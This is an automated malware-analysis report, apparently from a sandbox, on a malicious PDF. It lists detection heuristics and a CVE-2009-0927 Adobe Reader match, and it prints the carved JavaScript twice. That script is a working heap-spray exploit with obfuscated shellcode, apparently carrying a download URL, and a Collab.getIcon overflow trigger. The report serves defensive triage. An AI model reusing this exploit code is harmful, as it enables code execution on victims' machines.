MALICIOUS
210
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT and PDF_JS. The unescape() function was used, suggesting obfuscation of the script content. The extracted artifact 'javascript_obj111111_000.js' is likely responsible for the malicious behavior, potentially downloading and executing a second-stage payload. The exact intent of the script is unclear due to obfuscation, but its presence within a PDF is a strong indicator of malicious activity.
Machine Learning
- Nyx PDF Classifier malicious score 0.9998
Heuristics 6
-
Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
-
JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
hvalxw=unescape(hvalxw); -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
- http://ns.adobe.com/xap/1.0/In PDF document text
- http://purl.org/dc/elements/1.1/In PDF document text
- http://ns.adobe.com/xap/1.0/mm/In PDF document text
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj111111_000.js |
pdf-javascript-stream | PDF /JS object 111111 at offset 0x1C9 | 2218 bytes |
SHA-256: 357e871427345a17bb1fbec256de5760d654954a126928ca3f756dcb27cafe8f |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var hvalxw = '%09';
var iraokoi = 'ARG9090ARG9090'.replace(/ARG/g,'%u');
var ftitj6 = 'Z535XZ5251Z5756Z9c55ZXXe8ZXXXXZ5dXXZed83Z31XdZ64cXZ4XX3Z783XZ8bXcZXc4XZ7X8bZad1cZ4X8bZebX8Z8bX9Z344XZ4X8dZ8b7cZ3c4XZ5756Z5ebeZXXX1ZX1XXZbfeeZX14eZXXXXZefX1Zd6e8ZXXX1Z5fXXZ895eZ81eaZ5ec2ZXXX1Z52XXZ8X68ZXXXXZffXXZ4e95ZXXX1Z89XXZ81eaZ5ec2ZXXX1Z31XXZX1f6Z8ac2Z359cZX263ZXXXXZfb8XZ74XXZ88X6Z321cZeb46Zc6eeZ32X4Z89XXZ81eaZ45c2ZXXX2Z52XXZ95ffZX152ZXXXXZea89Zc281ZX25XZXXXXZ5X52Z95ffZX156ZXXXXZXX6aZXX6aZea89Zc281ZX15eZXXXXZ8952Z81eaZ78c2ZXXX2Z52XXZXX6aZdXffZX56aZea89Zc281ZX15eZXXXXZff52Z5a95ZXXX1Z89XXZ81eaZ5ec2ZXXX1Z52XXZ8X68ZXXXXZffXXZ4e95ZXXX1Z89XXZ81eaZ5ec2ZXXX1Z31XXZX1f6Z8ac2Z359cZX26eZXXXXZfb8XZ74XXZ88X6Z321cZeb46Zc6eeZ32X4Z89XXZ81eaZ45c2ZXXX2Z52XXZ95ffZX152ZXXXXZea89Zc281ZX25XZXXXXZ5X52Z95ffZX156ZXXXXZXX6aZXX6aZea89Zc281ZX15eZXXXXZ8952Z81eaZa6c2ZXXX2Z52XXZXX6aZdXffZX56aZea89Zc281ZX15eZXXXXZff52Z5a95ZXXX1Z9dXXZ5f5dZ5a5eZ5b59Zc358ZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZ6547Z5474Z6d65Z5X7XZ7461Z4168Z4cXXZ616fZ4c64Z6269Z6172Z7972ZXX41Z6547Z5X74Z6f72Z4163Z6464Z6572Z7373Z57XXZ6e69Z7845Z6365ZbbXXZf289Zf789ZcX3XZ75aeZ29fdZ89f7Z31f9ZbecXZXX3cZXXXXZb5X3ZX21bZXXXXZad66Z85X3ZX21bZXXXXZ7X8bZ8378Z1cc6Zb5X3ZX21bZXXXXZbd8dZX21fZXXXXZX3adZ1b85ZXXX2ZabXXZX3adZ1b85ZXXX2Z5XXXZadabZ85X3ZX21bZXXXXZ5eabZdb31Z56adZ85X3ZX21bZXXXXZc689Zd789Zfc51Za6f3Z7459Z5eX4Zeb43Z5ee9Zd193ZX3eXZ2785ZXXX2Z31XXZ96f6Zad66ZeXc1ZX3X2Z1f85ZXXX2Z89XXZadc6Z85X3ZX21bZXXXXZebc3ZXX1XZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZ89XXZ1b85ZXXX2Z56XXZe857Zff58ZffffZ5e5fZX1abZ8XceZbb3eZX274ZedebZ55c3Z4c52Z4f4dZ2e4eZ4c44ZXX4cZ5255Z444cZ776fZ6c6eZ616fZ5464Z466fZ6c69Z4165Z7XXXZ6664Z7X75Z2e64Z7865ZXX65Z7263Z7361Z2e68Z687XZXX7XZ7468Z7X74Z2F3AZ382FZ3234Z3833Z3439Z3332Z3734Z3938Z3332Z632EZ6D6FZ342FZ6C2FZ7X2EZ7X68Z693FZ363DZ9XXX'.replace(/Z/g,'%u').replace(/X/g,'0');
hvalxw=unescape(hvalxw);
iraokoi=unescape(iraokoi);
ftitj6=unescape(ftitj6);
while (iraokoi.length * 2 < 0x3fffc8-ftitj6.length * 2){iraokoi += iraokoi;}
iraokoi = iraokoi.substr(0, (0x3fffc8-ftitj6.length * 2) / 2);
var xpjtbnk = new Array();
for (var hwivape = 0; hwivape < 47; hwivape ++ ){xpjtbnk[hwivape] = iraokoi + ftitj6;}
while (hvalxw.length < 0x4000)hvalxw += hvalxw;
hvalxw="N." + hvalxw;
|
|||
combined_document_js_000.js |
deobfuscated-js | combined document JavaScript streams at offset 0x1C9 | 2250 bytes |
SHA-256: 3e786fcdaca49e7233d0c7bb6e4f09c722608346ffdfc5f9be6438bc129bb3f9 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var hvalxw = '%09';
var iraokoi = 'ARG9090ARG9090'.replace(/ARG/g,'%u');
var ftitj6 = 'Z535XZ5251Z5756Z9c55ZXXe8ZXXXXZ5dXXZed83Z31XdZ64cXZ4XX3Z783XZ8bXcZXc4XZ7X8bZad1cZ4X8bZebX8Z8bX9Z344XZ4X8dZ8b7cZ3c4XZ5756Z5ebeZXXX1ZX1XXZbfeeZX14eZXXXXZefX1Zd6e8ZXXX1Z5fXXZ895eZ81eaZ5ec2ZXXX1Z52XXZ8X68ZXXXXZffXXZ4e95ZXXX1Z89XXZ81eaZ5ec2ZXXX1Z31XXZX1f6Z8ac2Z359cZX263ZXXXXZfb8XZ74XXZ88X6Z321cZeb46Zc6eeZ32X4Z89XXZ81eaZ45c2ZXXX2Z52XXZ95ffZX152ZXXXXZea89Zc281ZX25XZXXXXZ5X52Z95ffZX156ZXXXXZXX6aZXX6aZea89Zc281ZX15eZXXXXZ8952Z81eaZ78c2ZXXX2Z52XXZXX6aZdXffZX56aZea89Zc281ZX15eZXXXXZff52Z5a95ZXXX1Z89XXZ81eaZ5ec2ZXXX1Z52XXZ8X68ZXXXXZffXXZ4e95ZXXX1Z89XXZ81eaZ5ec2ZXXX1Z31XXZX1f6Z8ac2Z359cZX26eZXXXXZfb8XZ74XXZ88X6Z321cZeb46Zc6eeZ32X4Z89XXZ81eaZ45c2ZXXX2Z52XXZ95ffZX152ZXXXXZea89Zc281ZX25XZXXXXZ5X52Z95ffZX156ZXXXXZXX6aZXX6aZea89Zc281ZX15eZXXXXZ8952Z81eaZa6c2ZXXX2Z52XXZXX6aZdXffZX56aZea89Zc281ZX15eZXXXXZff52Z5a95ZXXX1Z9dXXZ5f5dZ5a5eZ5b59Zc358ZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZ6547Z5474Z6d65Z5X7XZ7461Z4168Z4cXXZ616fZ4c64Z6269Z6172Z7972ZXX41Z6547Z5X74Z6f72Z4163Z6464Z6572Z7373Z57XXZ6e69Z7845Z6365ZbbXXZf289Zf789ZcX3XZ75aeZ29fdZ89f7Z31f9ZbecXZXX3cZXXXXZb5X3ZX21bZXXXXZad66Z85X3ZX21bZXXXXZ7X8bZ8378Z1cc6Zb5X3ZX21bZXXXXZbd8dZX21fZXXXXZX3adZ1b85ZXXX2ZabXXZX3adZ1b85ZXXX2Z5XXXZadabZ85X3ZX21bZXXXXZ5eabZdb31Z56adZ85X3ZX21bZXXXXZc689Zd789Zfc51Za6f3Z7459Z5eX4Zeb43Z5ee9Zd193ZX3eXZ2785ZXXX2Z31XXZ96f6Zad66ZeXc1ZX3X2Z1f85ZXXX2Z89XXZadc6Z85X3ZX21bZXXXXZebc3ZXX1XZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZXXXXZ89XXZ1b85ZXXX2Z56XXZe857Zff58ZffffZ5e5fZX1abZ8XceZbb3eZX274ZedebZ55c3Z4c52Z4f4dZ2e4eZ4c44ZXX4cZ5255Z444cZ776fZ6c6eZ616fZ5464Z466fZ6c69Z4165Z7XXXZ6664Z7X75Z2e64Z7865ZXX65Z7263Z7361Z2e68Z687XZXX7XZ7468Z7X74Z2F3AZ382FZ3234Z3833Z3439Z3332Z3734Z3938Z3332Z632EZ6D6FZ342FZ6C2FZ7X2EZ7X68Z693FZ363DZ9XXX'.replace(/Z/g,'%u').replace(/X/g,'0');
hvalxw=unescape(hvalxw);
iraokoi=unescape(iraokoi);
ftitj6=unescape(ftitj6);
while (iraokoi.length * 2 < 0x3fffc8-ftitj6.length * 2){iraokoi += iraokoi;}
iraokoi = iraokoi.substr(0, (0x3fffc8-ftitj6.length * 2) / 2);
var xpjtbnk = new Array();
for (var hwivape = 0; hwivape < 47; hwivape ++ ){xpjtbnk[hwivape] = iraokoi + ftitj6;}
while (hvalxw.length < 0x4000)hvalxw += hvalxw;
hvalxw="N." + hvalxw;
app.doc.Collab.getIcon(hvalxw);
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.